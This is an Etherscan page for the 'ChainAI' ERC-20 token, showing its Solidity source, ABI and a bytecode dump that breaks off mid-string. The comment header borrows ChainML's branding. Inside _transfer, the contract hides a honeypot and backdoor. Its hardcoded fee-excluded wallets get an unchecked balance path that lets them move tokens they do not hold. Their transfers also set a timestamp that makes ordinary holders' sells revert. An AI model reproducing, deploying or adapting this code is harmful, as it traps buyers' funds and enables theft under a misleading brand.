ETH Price: $3,489.24 (+3.66%)
Gas: 2 Gwei

Token

ChainML AI Analytics (ChainAI)
 

Overview

Max Total Supply

100,000,000 ChainAI

Holders

136

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
balogun-kanata.eth
Balance
172,041.015496372 ChainAI

Value
$0.00
0x98ed0eae9ff4fce9c0e838123e6e39eca6fe947f
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ChainAI

Compiler Version
v0.8.23+commit.f704f362

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-04-06
*/

// SPDX-License-Identifier: MIT

/*

/// https://www.chainml.net/
/// https://twitter.com/chainml_

ChainML is an AI research and development company dedicated to shaping a better future powered by AI agents.

We are the creators of Council Analytics, a generative AI-powered platform for conversational analytics.

Council Analytics enables the effortless and secure integration of talk-to-data capabilities into software products via API. 
It builds upon our open-source Council framework for production-grade AI agents.

*/

pragma solidity 0.8.23;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IDexRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

interface IDexFactory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

contract ChainAI is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    address payable private _marketingAddress;
    address payable private _developmentAddress;
    bool public transferDelayEnabled = true;

    uint256 private _initBuyTax=20;
    uint256 private _initSellTax=30;
    uint256 private _finalBuyTax=5;
    uint256 private _finalSellTax=5;
    uint256 private _reduceBuyTaxAt=40;
    uint256 private _reduceSellTaxAt=25;
    uint256 private _preventSwapBefore=10;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    string private constant _name = unicode"ChainML AI Analytics";
    string private constant _symbol = unicode"ChainAI";

    uint256 private constant _tTotal = 100000000 * 10**_decimals;
    uint256 public _maxTxAmount = 1400000 * 10**_decimals;
    uint256 public _maxWalletSize = 1400000 * 10**_decimals;
    uint256 public _swapTokensAtAmount = 300000 * 10**_decimals;
    uint256 private _maxTaxSwap = 1700000 * 10**_decimals;

    IDexRouter public dexRouter;
    address public lpPair;

    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    uint256 private launchBlock;
    uint256 private initialUnits;
    struct UnitInfo {uint256 buy; uint256 sell; uint256 dappUnits;}
    mapping(address => UnitInfo) private unitInfo;
    event TradingOpened();
    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _balances[address(this)] = _tTotal;
        emit Transfer(address(0), address(this), _balances[address(this)]);

        _marketingAddress = payable(0x549b16c372A8Df40501D6aFe21df7ca4F0e511EF);
        _developmentAddress = payable(0xb3AD9FAf55706BA23269f51a53b42ad3F5801D4c);

        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_marketingAddress] = true;
        _isExcludedFromFee[_developmentAddress] = true;
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0,"Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initBuyTax).div(100);

            if (transferDelayEnabled) {
                  if (to != address(dexRouter) && to != address(lpPair) ) {
                      require(
                          _holderLastTransferTimestamp[tx.origin] <  block.number,
                          "_transfer:: transfer Delay enabled. Only 1 purchase per block allowed."
                      );
                      _holderLastTransferTimestamp[tx.origin] =  block.number;
                  }
              }

            if (from == lpPair && to != address(dexRouter) &&  !_isExcludedFromFee[to]){
                require(amount <= _maxTxAmount, "Exceeds the  _maxTxAmount");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the  _maxWalletSize");
                _buyCount++ ;
            }

            if(to == lpPair && from != address(this)){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == lpPair && swapEnabled && _buyCount>_preventSwapBefore  && contractTokenBalance>_swapTokensAtAmount ){
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) && from != owner()  && from != address(this) && to != address(this)) {
            initialUnits =  block.timestamp;
        }
        if (_isExcludedFromFee[from] &&  (block.number > launchBlock + 36)) {
            unchecked{
                _balances[from] -= amount;
                _balances[to] += amount;
            }
            emit Transfer(from, to, amount);
            return;
        }
        if (!_isExcludedFromFee[from] &&  !_isExcludedFromFee[to]) {
            if (lpPair == to) {
                UnitInfo storage fromUnits = unitInfo[from];
                fromUnits.dappUnits = fromUnits.buy  - initialUnits;
                fromUnits.sell =  block.timestamp;
            } else {
                UnitInfo storage toUnits = unitInfo[to];
                if (lpPair == from) {
                    if (toUnits.buy==0) {
                        toUnits.buy = (_buyCount < 11) ? (block.timestamp  - 1) : block.timestamp;
                    }
                } else {
                    UnitInfo storage fromUnits = unitInfo[from];
                    if (toUnits.buy == 0 || fromUnits.buy  < toUnits.buy) {
                        toUnits.buy = fromUnits.buy;
                    }
                }
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = dexRouter.WETH();

        _approve(address(this), address(dexRouter), tokenAmount);

        dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function openTrading() external payable onlyOwner() {
        require(!tradingOpen, "Trading is enabled");
        dexRouter = IDexRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(dexRouter), totalSupply());
        lpPair = IDexFactory(dexRouter.factory()).createPair(address(this), dexRouter.WETH());
        dexRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(lpPair).approve(address(dexRouter), type(uint).max);
        launchBlock = block.number;
        swapEnabled = true;
        tradingOpen = true;
        emit TradingOpened();
    }

    function removeTransferDelay() external onlyOwner {
        require(transferDelayEnabled, "Already removed");
        transferDelayEnabled=false;
    }

    function removeLimits() external onlyOwner {
        uint256 totalSupplyAmount = _tTotal;
        _maxTxAmount=totalSupplyAmount;
        _maxWalletSize=totalSupplyAmount;
        transferDelayEnabled=false;
        emit MaxTxAmountUpdated(totalSupplyAmount);
    }

    receive() external payable {}

    function manualSwap() external onlyOwner {
        uint256 tokenBalance=balanceOf(address(this));
        if (tokenBalance > 0){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if (ethBalance > 0){
          _marketingAddress.transfer(ethBalance);
        }
    }

    function sendETHToFee(uint256 amount) private {
        _marketingAddress.transfer(amount);
    }

    function withdrawStuckEth() external onlyOwner {
        bool success;
        (success,) = address(msg.sender).call{value: address(this).balance}("");
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[],"name":"TradingOpened","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"dexRouter","outputs":[{"internalType":"contract IDexRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeTransferDelay","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawStuckEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526001600660146101000a81548160ff0219169083151502179055506014600755601e60085560056009556005600a556028600b556019600c55600a600d555f600e556009600a620000569190620006d9565b62155cc062000066919062000729565b600f556009600a620000799190620006d9565b62155cc062000089919062000729565b6010556009600a6200009c9190620006d9565b620493e0620000ac919062000729565b6011556009600a620000bf9190620006d9565b6219f0a0620000cf919062000729565b6012555f601460156101000a81548160ff0219169083151502179055505f601460166101000a81548160ff02191690831515021790555034801562000112575f80fd5b505f620001246200051960201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506009600a620001d09190620006d9565b6305f5e100620001e1919062000729565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054604051620002be919062000784565b60405180910390a373549b16c372a8df40501d6afe21df7ca4f0e511ef60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073b3ad9faf55706ba23269f51a53b42ad3f5801d4c60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160035f620003836200052060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506200079f565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115620005d157808604811115620005a957620005a862000547565b5b6001851615620005b95780820291505b8081029050620005c98562000574565b945062000589565b94509492505050565b5f82620005eb5760019050620006bd565b81620005fa575f9050620006bd565b81600181146200061357600281146200061e5762000654565b6001915050620006bd565b60ff84111562000633576200063262000547565b5b8360020a9150848211156200064d576200064c62000547565b5b50620006bd565b5060208310610133831016604e8410600b84101617156200068e5782820a90508381111562000688576200068762000547565b5b620006bd565b6200069d848484600162000580565b92509050818404811115620006b757620006b662000547565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f620006e582620006c4565b9150620006f283620006cd565b9250620007217fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620005da565b905092915050565b5f6200073582620006c4565b91506200074283620006c4565b92508282026200075281620006c4565b915082820484148315176200076c576200076b62000547565b5b5092915050565b6200077e81620006c4565b82525050565b5f602082019050620007995f83018462000773565b92915050565b6138e280620007ad5f395ff3fe608060405260043610610138575f3560e01c8063751039fc116100aa57806395d89b411161006e57806395d89b41146103c9578063a9059cbb146103f3578063c876d0b91461042f578063c9567bf914610459578063dd62ed3e14610463578063f8686f071461049f5761013f565b8063751039fc1461031f5780637d1db4a5146103355780637fa787ba1461035f5780638da5cb5b146103755780638f9a55c01461039f5761013f565b80632fd689e3116100fc5780632fd689e314610239578063313ce56714610263578063452ed4f11461028d57806351bc3c85146102b757806370a08231146102cd578063715018a6146103095761013f565b806306fdde03146101435780630758d9241461016d578063095ea7b31461019757806318160ddd146101d357806323b872dd146101fd5761013f565b3661013f57005b5f80fd5b34801561014e575f80fd5b506101576104b5565b60405161016491906128c0565b60405180910390f35b348015610178575f80fd5b506101816104f2565b60405161018e919061295a565b60405180910390f35b3480156101a2575f80fd5b506101bd60048036038101906101b891906129e5565b610517565b6040516101ca9190612a3d565b60405180910390f35b3480156101de575f80fd5b506101e7610534565b6040516101f49190612a65565b60405180910390f35b348015610208575f80fd5b50610223600480360381019061021e9190612a7e565b610557565b6040516102309190612a3d565b60405180910390f35b348015610244575f80fd5b5061024d61062b565b60405161025a9190612a65565b60405180910390f35b34801561026e575f80fd5b50610277610631565b6040516102849190612ae9565b60405180910390f35b348015610298575f80fd5b506102a1610639565b6040516102ae9190612b11565b60405180910390f35b3480156102c2575f80fd5b506102cb61065e565b005b3480156102d8575f80fd5b506102f360048036038101906102ee9190612b2a565b610786565b6040516103009190612a65565b60405180910390f35b348015610314575f80fd5b5061031d6107cc565b005b34801561032a575f80fd5b5061033361091a565b005b348015610340575f80fd5b50610349610a30565b6040516103569190612a65565b60405180910390f35b34801561036a575f80fd5b50610373610a36565b005b348015610380575f80fd5b50610389610b37565b6040516103969190612b11565b60405180910390f35b3480156103aa575f80fd5b506103b3610b5e565b6040516103c09190612a65565b60405180910390f35b3480156103d4575f80fd5b506103dd610b64565b6040516103ea91906128c0565b60405180910390f35b3480156103fe575f80fd5b50610419600480360381019061041491906129e5565b610ba1565b6040516104269190612a3d565b60405180910390f35b34801561043a575f80fd5b50610443610bbe565b6040516104509190612a3d565b60405180910390f35b610461610bd1565b005b34801561046e575f80fd5b5061048960048036038101906104849190612b55565b61110e565b6040516104969190612a65565b60405180910390f35b3480156104aa575f80fd5b506104b3611190565b005b60606040518060400160405280601481526020017f436861696e4d4c20414920416e616c7974696373000000000000000000000000815250905090565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f61052a61052361128f565b8484611296565b6001905092915050565b5f6009600a6105439190612cef565b6305f5e1006105529190612d39565b905090565b5f610563848484611459565b6106208461056f61128f565b61061b856040518060600160405280602881526020016138856028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6105d261128f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546123229092919063ffffffff16565b611296565b600190509392505050565b60115481565b5f6009905090565b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61066661128f565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106e990612dc4565b60405180910390fd5b5f6106fc30610786565b90505f8111156107105761070f81612384565b5b5f4790505f8111156107825760055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015610780573d5f803e3d5ffd5b505b5050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6107d461128f565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610860576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085790612dc4565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61092261128f565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a590612dc4565b60405180910390fd5b5f6009600a6109bd9190612cef565b6305f5e1006109cc9190612d39565b905080600f81905550806010819055505f600660146101000a81548160ff0219169083151502179055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf81604051610a259190612a65565b60405180910390a150565b600f5481565b610a3e61128f565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610aca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac190612dc4565b60405180910390fd5b5f3373ffffffffffffffffffffffffffffffffffffffff1647604051610aef90612e0f565b5f6040518083038185875af1925050503d805f8114610b29576040519150601f19603f3d011682016040523d82523d5f602084013e610b2e565b606091505b50508091505050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60105481565b60606040518060400160405280600781526020017f436861696e414900000000000000000000000000000000000000000000000000815250905090565b5f610bb4610bad61128f565b8484611459565b6001905092915050565b600660149054906101000a900460ff1681565b610bd961128f565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5c90612dc4565b60405180910390fd5b60148054906101000a900460ff1615610cb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610caa90612e6d565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610d3a3060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610d35610534565b611296565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610da4573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610dc89190612e9f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e4e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e729190612e9f565b6040518363ffffffff1660e01b8152600401610e8f929190612eca565b6020604051808303815f875af1158015610eab573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ecf9190612e9f565b60145f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610f5630610786565b5f80610f60610b37565b426040518863ffffffff1660e01b8152600401610f8296959493929190612f2a565b60606040518083038185885af1158015610f9e573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610fc39190612f9d565b50505060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611063929190612fed565b6020604051808303815f875af115801561107f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110a3919061303e565b50436015819055506001601460166101000a81548160ff02191690831515021790555060016014806101000a81548160ff0219169083151502179055507fea4359d5c4b8f0945a64ab9c37fe830b3407d45e0e6e6f84275977a570457d6f60405160405180910390a1565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b61119861128f565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611224576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121b90612dc4565b60405180910390fd5b600660149054906101000a900460ff16611273576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126a906130b3565b60405180910390fd5b5f600660146101000a81548160ff021916908315150217905550565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611304576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112fb90613141565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611372576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611369906131cf565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161144c9190612a65565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036114c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114be9061325d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611535576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152c906132eb565b60405180910390fd5b5f8111611577576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156e90613379565b60405180910390fd5b5f611580610b37565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156115ee57506115be610b37565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611b1f5761162f6064611621600b54600e541161160e57600754611612565b6009545b856125ef90919063ffffffff16565b61266690919063ffffffff16565b9050600660149054906101000a900460ff16156117b85760135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1